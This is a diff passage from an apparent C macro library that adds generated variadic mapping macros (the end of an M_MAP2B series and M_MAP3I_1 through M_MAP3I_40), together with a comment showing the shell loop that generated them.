+#define M_MAP2B_72(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) f(d, _69) f(d, _70) f(d, _71) f(d, _72) 
+#define M_MAP2B_73(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, _73) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) f(d, _69) f(d, _70) f(d, _71) f(d, _72) f(d, _73) 
+#define M_MAP2B_74(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, _73, _74) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) f(d, _69) f(d, _70) f(d, _71) f(d, _72) f(d, _73) f(d, _74) 
+#define M_MAP2B_75(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, _73, _74, _75) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) f(d, _69) f(d, _70) f(d, _71) f(d, _72) f(d, _73) f(d, _74) f(d, _75) 
+
+
+/* Map a macro to all given arguments with two additional fixed data (non recursive version):
+   one of the parameter is given and one numerical which is the argument number.
+  Example:
+    M_MAP3(f, data, a, b, c) ==> f(data,1,a) f(data,2,b) f(data,3,c)
+  Generated by the following command:
+   for i in $(seq 1 52) ; do printf "#define M_MAP3I_%d(f, d" $i ; for j in $(seq 1 $i) ; do printf ", _%d" $j ; done ; printf ") " ; for j in $(seq 1 $i) ; do printf "f(d, %d, _%d) " $j $j ; done ; printf "\n"; done
+*/
+#define M_MAP3(...)           M_MAP3I_0(__VA_ARGS__)
+#define M_MAP3I_0(f, d, ...)  M_C(M_MAP3I_, M_NARGS(__VA_ARGS__))(f, d, __VA_ARGS__)
+#define M_MAP3I_1(f, d, _1) f(d, 1, _1) 
+#define M_MAP3I_2(f, d, _1, _2) f(d, 1, _1) f(d, 2, _2) 
+#define M_MAP3I_3(f, d, _1, _2, _3) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) 
+#define M_MAP3I_4(f, d, _1, _2, _3, _4) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) 
+#define M_MAP3I_5(f, d, _1, _2, _3, _4, _5) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) 
+#define M_MAP3I_6(f, d, _1, _2, _3, _4, _5, _6) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) 
+#define M_MAP3I_7(f, d, _1, _2, _3, _4, _5, _6, _7) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) 
+#define M_MAP3I_8(f, d, _1, _2, _3, _4, _5, _6, _7, _8) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) 
+#define M_MAP3I_9(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) 
+#define M_MAP3I_10(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) 
+#define M_MAP3I_11(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) 
+#define M_MAP3I_12(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) 
+#define M_MAP3I_13(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) 
+#define M_MAP3I_14(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) 
+#define M_MAP3I_15(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) 
+#define M_MAP3I_16(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) 
+#define M_MAP3I_17(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) 
+#define M_MAP3I_18(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) 
+#define M_MAP3I_19(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) 
+#define M_MAP3I_20(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) 
+#define M_MAP3I_21(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) 
+#define M_MAP3I_22(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) 
+#define M_MAP3I_23(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) 
+#define M_MAP3I_24(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) 
+#define M_MAP3I_25(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) 
+#define M_MAP3I_26(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) 
+#define M_MAP3I_27(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) 
+#define M_MAP3I_28(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) 
+#define M_MAP3I_29(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) 
+#define M_MAP3I_30(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) 
+#define M_MAP3I_31(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) 
+#define M_MAP3I_32(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) 
+#define M_MAP3I_33(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) 
+#define M_MAP3I_34(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) 
+#define M_MAP3I_35(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) 
+#define M_MAP3I_36(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) 
+#define M_MAP3I_37(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) 
+#define M_MAP3I_38(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) 
+#define M_MAP3I_39(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) 
+#define M_MAP3I_40(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) f(d, 29, _29) f(d, 30, _30) f(d, 31, _31) f(d, 32, _32) f(d, 33, _33) f(d, 34, _34) f(d, 35, _35) f(d, 36, _36) f(d, 37, _37) f(d, 38, _38) f(d, 39, _39) f(d, 40, _40) 
